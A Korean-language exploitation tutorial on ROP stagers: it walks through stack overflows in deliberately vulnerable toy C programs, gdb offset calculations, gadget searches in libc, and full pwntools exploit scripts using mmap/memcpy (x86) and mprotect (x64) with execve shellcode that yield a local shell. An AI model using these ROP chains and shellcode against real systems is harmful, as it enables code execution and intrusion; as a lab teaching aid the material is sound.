Excuse the ads! We need some help to keep our site up.
List
ROP(Return Oriented Programming) - mmap, mprotect
- ROP를 이용하여 메모리 영역을 할당(mmap)하거나 할당된 메모리 영역의 권한을 변경(mprotect)하는 방법에 대해 설명하겠습니다.
- 이외에도 ROP를 이용하여 공격자가 원하는 다양한 코드를 작성할 수 있습니다.
- 일부에서는 mmap(), mprotect()를 이용하여 메모리를 다루는 것을 ROP Stager라고 표기하고 있습니다.
mmap - 32bit(feat. POPAD, PUSHAD)
Example code
- 해당 코드는 02.ROP(Return Oriented Programming)-x64#02.ROP(ReturnOrientedProgramming)-x64-Examplecode 에서 사용된 코드입니다.
- x86으로 빌드하여 테스트를 진행하겠습니다.
//gcc -m32 -fno-stack-protector -o rop rop.c -ldl #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> void vuln(){ char buf[50]; void (*printf_addr)() = dlsym(RTLD_NEXT, "printf"); printf("Printf() address : %p\n",printf_addr); read(0, buf, 256); } void main(){ write(1,"Hello ROP\n",10); vuln(); }
Overflow
- 다음과 같이 Breakpoints를 설정합니다.
0x0804854b : vuln 함수 코드 첫부분
0x08048587 : read() 함수 호출 전
lazenca0x0@ubuntu:~/Exploit/ROPStager/mmap$ gdb -q ./rop Reading symbols from ./rop...(no debugging symbols found)...done. gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x0804854b <+0>: push ebp 0x0804854c <+1>: mov ebp,esp 0x0804854e <+3>: sub esp,0x48 0x08048551 <+6>: sub esp,0x8 0x08048554 <+9>: push 0x8048650 0x08048559 <+14>: push 0xffffffff 0x0804855b <+16>: call 0x8048430 <dlsym@plt> 0x08048560 <+21>: add esp,0x10 0x08048563 <+24>: mov DWORD PTR [ebp-0xc],eax 0x08048566 <+27>: sub esp,0x8 0x08048569 <+30>: push DWORD PTR [ebp-0xc] 0x0804856c <+33>: push 0x8048657 0x08048571 <+38>: call 0x8048400 <printf@plt> 0x08048576 <+43>: add esp,0x10 0x08048579 <+46>: sub esp,0x4 0x0804857c <+49>: push 0x100 0x08048581 <+54>: lea eax,[ebp-0x3e] 0x08048584 <+57>: push eax 0x08048585 <+58>: push 0x0 0x08048587 <+60>: call 0x80483f0 <read@plt> 0x0804858c <+65>: add esp,0x10 0x0804858f <+68>: nop 0x08048590 <+69>: leave 0x08048591 <+70>: ret End of assembler dump. gdb-peda$ b *0x0804854b Breakpoint 1 at 0x804854b gdb-peda$ b *0x08048587 Breakpoint 2 at 0x8048587 gdb-peda$
- 다음과 같이 Overflow를 확인할 수 있습니다.
Return address(0xffffd5cc) - buf 변수의 시작 주소 (0xffffd58a) = 66
- 즉, 66개 이상의 문자를 입력함으로써 Return address 영역을 덮어 쓸 수 있습니다.
gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/ROPStager/mmap/rop Hello ROP Breakpoint 1, 0x0804854b in vuln () gdb-peda$ i r esp esp 0xffffd5cc 0xffffd5cc gdb-peda$ x/wx 0xffffd5cc 0xffffd5cc: 0x080485bc gdb-peda$ c Continuing. Printf() address : 0xf7e4b020 Breakpoint 2, 0x08048587 in vuln () gdb-peda$ i r esp esp 0xffffd570 0xffffd570 gdb-peda$ x/3wx 0xffffd570 0xffffd570: 0x00000000 0xffffd58a 0x00000100 gdb-peda$ p/d 0xffffd5cc - 0xffffd58a $1 = 66 gdb-peda$
Exploit method
- ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
- mmap() 함수를 이용하여 RWX 권한을 가지는 메모리 영역 생성
- memcpy() 함수를 이용하여 shellcode를 mmap() 함수로 생성한 영역에 복사
- 이를 코드로 표현하면 다음과 같습니다.
mmap(0x20000000,0x1000,0x7,0x22,0xffffffff,0) memcpy(0x20000000,'address of shellcode',len(shellcode))
memcpy()
- Exploit code에서 사용할 Libc의 memcpy() 함수는 Memory의 값을 복사하지 못합니다.
Libc의 memcpy() 함수는 CPU가 지원하는 스트리밍 SIMD 확장(Streaming SIMD Extensions, SSE)에 맞는 함수의 주소값을 리턴합니다.
스트리밍 SIMD 확장(Streaming SIMD Extensions, SSE) 종료 : SSE, SSE2, SSSE3, ...
- 즉, Libc의 memcpy() 함수를 호출하면 Memory 값을 복사하는 함수의 주소는 EAX 레지스터에 저장됩니다.ㅇ
gdb-peda$ disassemble memcpy Dump of assembler code for function memcpy: 0xf7629860 <+0>: call 0xf76d028d 0xf7629865 <+5>: add edx,0x13979b 0xf762986b <+11>: mov ecx,DWORD PTR [edx-0xdc] 0xf7629871 <+17>: lea eax,[edx-0x139730] 0xf7629877 <+23>: test DWORD PTR [ecx+0x68],0x4000000 0xf762987e <+30>: je 0xf76298b3 <memcpy+83> 0xf7629880 <+32>: lea eax,[edx-0x8bc10] 0xf7629886 <+38>: test DWORD PTR [ecx+0x94],0x10 0xf7629890 <+48>: jne 0xf76298b3 <memcpy+83> 0xf7629892 <+50>: test DWORD PTR [ecx+0x64],0x200 0xf7629899 <+57>: je 0xf76298b3 <memcpy+83> 0xf762989b <+59>: lea eax,[edx-0x8ae20] 0xf76298a1 <+65>: test DWORD PTR [ecx+0x94],0x1 0xf76298ab <+75>: je 0xf76298b3 <memcpy+83> 0xf76298ad <+77>: lea eax,[edx-0x84be0] 0xf76298b3 <+83>: ret End of assembler dump. gdb-peda$
POPAD, PUSHAD
- 테스트 환경이 x86이기 때문에 POPAD, PUSHAD 명령어를 이용하여 ROP 코드를 작성하겠습니다.
- POPAD, PUSHAD명령어는 다음과 같은 동작을 합니다.
Instruction | Description |
---|---|
POPAD |
|
PUSHAD |
|
ROP code
- ROP의 구조는 다음과 같습니다.
- mmap() 함수를 이용하여 새로운 메모리 영역을 할당받습니다.
- POPAD Gadget에 의해 memcpy() 함수의 주소가 저장된 영역으로 이동합니다.
- XCHG EAX,EDI Gadget에 의해 리턴받은 memcpy() 함수의 주소를 EDI 레지스터에 저장합니다.
- POP ESI Gadget에 의해 memcpy()함수 호출 후 이동할 return address를 ESI 레지스터에 저장합니다.
- POP EBP Gadget에 의해 1번째 인자 값을 EBP 레지스터에 저장합니다.
- POP EBX Gadget에 의해 3번째 인자 값을 EBX 레지스터에 저장합니다.
- PUSHAD Gadget에 의해 레지스터에 저장된 값들을 Stack 에 저장하고 0x1028 영역(0x1048 - (0x4 * 레지스터 개수(8))으로 이동합니다.
- 2번째 인자 값은 ESP 레지스터에 저장되어 있기 때문에 별도의 조작이 필요하지 않습니다.
- 0x1028 영역에서 memcpy() 함수로 인해 Stack에 저장된 shellcode가 mmap()에 의해 생성된 메모리 영역으로 복사됩니다.
- memcpy() 함수가 종료되면 mmap()에 의해 생성된 메모리 영역으로 이동하여 shellcode를 실행합니다.
- 해당 영역은 RWX 권한이 설정되어 있기 때문에 Shellcode 실행이 가능합니다.
Before running PUSHAD | After running PUSHAD | |||
Stack Address | Value | Explanation | Value | Explanation |
---|---|---|---|---|
0x1000 | mmap() function address of libc | mmap() function address of libc | ||
0x1004 | Address of gadgets(popad) | 0x1024 영역으로 이동 | Address of gadgets(popad) | |
0x1008 | First argument value | First argument value | ||
0x100C | Second argument value | Second argument value | ||
0x1010 | Third argument value | Third argument value | ||
0x1014 | Fourth argument value | Fourth argument value | ||
0x1018 | Fifth argument value | Fifth argument value | ||
0x101C | 'AAAA' | 'AAAA' | ||
0x1020 | 'AAAA' | 'AAAA' | ||
0x1024 | memcpy() function address of libc | memcpy() function address of libc | ||
0x1028 | Address of gadgets(xchg eax, edi) | memcpy() function address of libc | ESP : 0x1028 | |
0x102C | Address of gadgets(pop esi) | Address of new memory area | ||
0x1030 | Address of new memory area | Address of new memory area | ||
0x1034 | Address of gadgets(pop ebp) | Address of shellcode | ||
0x1038 | Address of new memory area | Length of shellcode | ||
0x103C | Address of gadgets(pop ebx) | |||
0x1040 | Length of shellcode | |||
0x1044 | Address of gadgets(pushad) | 0x1028 영역으로 이동 | ||
0x1048 | shellcode |
Find gadget
- 다음과 같이 "/lib32/libc-2.23.so"에서 필요한 Gadget을 찾을 수 있습니다.
lazenca0x0@ubuntu:~/Exploit/ROPStager$ ./rp-lin-x64 -f /lib32/libc-2.23.so -r 2| grep "xchg eax, edi" ... 0x0007633e: xchg eax, edi ; mov esi, edx ; ret ; (1 found) ... lazenca0x0@ubuntu:~/Exploit/ROPStager$
lazenca0x0@ubuntu:~/Exploit/ROPStager$ ./rp-lin-x64 -f /lib32/libc-2.23.so -r 1| grep "popad" ... 0x00168dfe: popad ; ret ; (1 found) 0x0017ac05: popad ; ret ; (1 found) lazenca0x0@ubuntu:~/Exploit/ROPStager$
lazenca0x0@ubuntu:~/Exploit/ROPStager$ ./rp-lin-x64 -f /lib32/libc-2.23.so -r 1| grep "pushad" ... 0x0000979c: pushad ; ret ; (1 found) 0x0011cf5d: pushad ; ret ; (1 found) 0x00161f60: pushad ; ret ; (1 found) 0x001656b0: pushad ; ret ; (1 found) 0x001685f8: pushad ; ret ; (1 found) 0x00179a5f: pushad ; ret ; (1 found) 0x0017cd48: pushad ; ret ; (1 found) 0x00188a91: pushad ; ret ; (1 found) 0x0018a8ae: pushad ; ret ; (1 found) 0x00194f2e: pushad ; ret ; (1 found) 0x0019b140: pushad ; ret ; (1 found) ... lazenca0x0@ubuntu:~/Exploit/ROPStager$
Exploit code
from pwn import * from struct import * #context.log_level = 'debug' #32bit OS libc = ELF("/lib/i386-linux-gnu/libc-2.23.so") #64bit OS #libc = ELF("/lib32/libc-2.23.so") shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" binary = ELF('./rop') p = process(binary.path) p.recvuntil('Printf() address : ') stackAddr = p.recvuntil('\n') stackAddr = int(stackAddr,16) new_memory = 0x20000000 #Libc libc_base = stackAddr - 0x49020 libc_mmap = libc_base + libc.symbols['mmap'] libc_memcpy = libc_base + libc.symbols['memcpy'] #ROP Gadget libc_popad = libc_base + 0x00168dfe libc_xchg_eax_edi = libc_base + 0x0007633e libc_pop_esi = libc_base + 0x00017828 libc_pop_ebp = libc_base + 0x000179a7 libc_pop_ebx = libc_base + 0x00018395 libc_pushad = libc_base + 0x0000979c log.info('Libc base : '+hex(libc_base)) log.info('mmap addr : '+hex(libc_mmap)) log.info('memcpy addr : '+hex(libc_memcpy)) payload = "A"*66 #mmap(0x20000000,0x1000,0x7,0x22,0xffffffff,0) payload += p32(libc_mmap) payload += p32(libc_popad) payload += p32(new_memory) payload += p32(0x1000) payload += p32(0x7) payload += p32(0x22) payload += p32(0xffffffff) payload += p32(0) payload += 'AAAA' * 2 #memcpy(new_memory,'address of shellcode',(len(shellcode)) payload += p32(libc_memcpy) payload += p32(libc_xchg_eax_edi) payload += p32(libc_pop_esi) payload += p32(new_memory) payload += p32(libc_pop_ebp) payload += p32(new_memory) payload += p32(libc_pop_ebx) payload += p32(len(shellcode)) payload += p32(libc_pushad) payload += shellcode p.send(payload) p.interactive()
lazenca0x0@ubuntu:~/Exploit/ROPStager/mmap$ python mmap.py [*] '/lib32/libc-2.23.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/home/lazenca0x0/Exploit/ROPStager/mmap/rop' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Starting local process '/home/lazenca0x0/Exploit/ROPStager/mmap/rop': pid 43618 [*] Libc base : 0xf75f5000 [*] mmap addr : 0xf76d6060 [*] memcpy addr : 0xf766b860 [*] Switching to interactive mode $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $
mprotect- 64bit
Example code
//gcc -fno-stack-protector -o rop rop.c -ldl #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> void vuln(){ char buf[50]; void (*printf_addr)() = dlsym(RTLD_NEXT, "printf"); printf("Printf() address : %p\n",printf_addr); printf("buf[50] address : %p\n",buf); read(0, buf, 256); } void main(){ write(1,"Hello ROP\n",10); vuln(); }
Overflow
- 다음과 같이 Breakpoints를 설정합니다.
0x4006c6: vuln 함수 코드 첫부분
0x400720: read() 함수 호출 전
lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ gdb -q ./rop64 Reading symbols from ./rop64...(no debugging symbols found)...done. gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x00000000004006c6 <+0>: push rbp 0x00000000004006c7 <+1>: mov rbp,rsp 0x00000000004006ca <+4>: sub rsp,0x40 0x00000000004006ce <+8>: mov esi,0x4007d4 0x00000000004006d3 <+13>: mov rdi,0xffffffffffffffff 0x00000000004006da <+20>: call 0x4005b0 <dlsym@plt> 0x00000000004006df <+25>: mov QWORD PTR [rbp-0x8],rax 0x00000000004006e3 <+29>: mov rax,QWORD PTR [rbp-0x8] 0x00000000004006e7 <+33>: mov rsi,rax 0x00000000004006ea <+36>: mov edi,0x4007db 0x00000000004006ef <+41>: mov eax,0x0 0x00000000004006f4 <+46>: call 0x400580 <printf@plt> 0x00000000004006f9 <+51>: lea rax,[rbp-0x40] 0x00000000004006fd <+55>: mov rsi,rax 0x0000000000400700 <+58>: mov edi,0x4007f2 0x0000000000400705 <+63>: mov eax,0x0 0x000000000040070a <+68>: call 0x400580 <printf@plt> 0x000000000040070f <+73>: lea rax,[rbp-0x40] 0x0000000000400713 <+77>: mov edx,0x100 0x0000000000400718 <+82>: mov rsi,rax 0x000000000040071b <+85>: mov edi,0x0 0x0000000000400720 <+90>: call 0x400590 <read@plt> 0x0000000000400725 <+95>: nop 0x0000000000400726 <+96>: leave 0x0000000000400727 <+97>: ret End of assembler dump. gdb-peda$ b *0x00000000004006c6 Breakpoint 1 at 0x4006c6 gdb-peda$ b *0x0000000000400720 Breakpoint 2 at 0x400720 gdb-peda$
- 다음과 같이 Overflow를 확인할 수 있습니다.
Return address(0x7fffffffe488) - buf 변수의 시작 주소 (0x7fffffffe440) = 72
- 즉, 72개 이상의 문자를 입력함으로써 Return address 영역을 덮어 쓸 수 있습니다.
gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/ROPStager/mprotect/rop64 Hello ROP Breakpoint 1, 0x00000000004006c6 in vuln () gdb-peda$ i r rsp rsp 0x7fffffffe488 0x7fffffffe488 gdb-peda$ c Continuing. Printf() address : 0x7ffff785e800 buf[50] address : 0x7fffffffe440 Breakpoint 2, 0x0000000000400720 in vuln () gdb-peda$ i r rsi rsi 0x7fffffffe440 0x7fffffffe440 gdb-peda$ p/d 0x7fffffffe488 - 0x7fffffffe440 $1 = 72 gdb-peda$
Exploit method
- ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
mprotect() 함수를 이용하여 Shellcode가 저장된 메모리 영역의 권한을 RWX로 변경
mprotect()는 [addr, addr+len-1] 구간 주소 범위를 일부라도 담고 있는 호출 프로세스의 메모리 페이지들에 대한 접근 보호를 변경한다.
addr의 값은 페이지 경계에 맞게 정렬되어 있어야 한다.
Page의 크기는 4096 입니다.
Ex)
사용 불가능 : 0x7ffd0e0a4470
- 사용 가능 : 0x7ffd0e0a4000
- 이를 코드로 표현하면 다음과 같습니다.
mprotect(address of shellcode,0x2000,0x7)
- payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
- libc offset
- mprotect
- 가젯의 위치
- pop rdi,ret
- pop rsi,ret
- pop rdx,ret
Find gadget
lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ ./rp-lin-x64 -f ./rop64 -r 1| grep "pop rdi" 0x004007b3: pop rdi ; ret ; (1 found) lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$
lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 2| grep "pop rdx" ... 0x001150a3: pop rdx ; pop r10 ; ret ; (1 found) 0x001150a4: pop rdx ; pop r10 ; ret ; (1 found) 0x00101ffc: pop rdx ; pop rbx ; ret ; (1 found) 0x001194ab: pop rdx ; pop rbx ; ret ; (1 found) 0x0011d174: pop rdx ; pop rbx ; ret ; (1 found) 0x001435b2: pop rdx ; pop rbx ; ret ; (1 found) 0x001435fa: pop rdx ; pop rbx ; ret ; (1 found) 0x00143824: pop rdx ; pop rbx ; ret ; (1 found) 0x001150c9: pop rdx ; pop rsi ; ret ; (1 found) 0x00001b92: pop rdx ; ret ; (1 found) 0x00001b96: pop rdx ; ret ; (1 found) 0x00001b9a: pop rdx ; ret ; (1 found) 0x00001b9e: pop rdx ; ret ; (1 found) 0x001150a6: pop rdx ; ret ; (1 found) lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$
Exploit code
from pwn import * from struct import * #context.log_level = 'debug' shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") libcbase_printf_offset = libc.symbols['printf'] libcbase_mprotect_offset = libc.symbols['mprotect'] pop_rdi_ret = 0x004007b3 pop_rdx_ret_offset = 0x1150c9 r = process('./rop64') r.recvn(10) r.recvuntil('Printf() address : ') libcbase = int(r.recvuntil('\n'),16) libcbase -= libcbase_printf_offset r.recvuntil('buf[50] address : ') stack = int(r.recvuntil('\n'),16) back = str(hex(stack)) shellArea = int(back[0:11] + '000',16) log.info(back[0:11]) log.info(hex(shellArea)) log.info("libcbase : " + hex(libcbase)) log.info("stack : " + hex(stack)) log.info("mprotect() : " + hex(libcbase + libcbase_mprotect_offset)) payload = shellcode payload += "A" * (72 - len(shellcode)) #mprotect(address of shellcode,0x2000,0x7) payload += p64(pop_rdi_ret) payload += p64(shellArea) payload += p64(libcbase + pop_rdx_ret_offset) payload += p64(0x7) payload += p64(0x2000) payload += p64(libcbase + libcbase_mprotect_offset) payload += p64(stack) r.send(payload) r.interactive()
lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ python mprotect.py [*] '/lib/x86_64-linux-gnu/libc-2.23.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process './rop64': pid 43561 [*] 0x7ffd0e0a4 [*] 0x7ffd0e0a4000 [*] libcbase : 0x7fe88a73e000 [*] stack : 0x7ffd0e0a4470 [*] mprotect() : 0x7fe88a83f770 [*] Switching to interactive mode $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $
References
- https://exploit.courses/files/bfh2017/day6/0x54_DefeatExploitMitigations_ROP.pdf
- http://inaz2.hatenablog.com/entry/2014/07/01/013544
- http://forum.falinux.com/zbxe/index.php?document_srl=406124&mid=graphic
- http://forum.falinux.com/zbxe/index.php?document_srl=408164&mid=C_LIB
- http://p3ace.tistory.com/39
- http://reverseengine.tistory.com/entry/%EC%A0%9C-14%EC%9E%A5-LAHF-SAHF-and-XCHG-%EB%AA%85%EB%A0%B9%EC%96%B4
- http://err0rless313.tistory.com/entry/mprotect-%ED%95%A8%EC%88%98-%EC%9D%B4%EC%9A%A9%ED%95%98%EC%97%AC-Exploit%ED%95%98%EA%B8%B0
- http://shell-storm.org/shellcode/files/shellcode-811.php
- http://shell-storm.org/shellcode/files/shellcode-806.php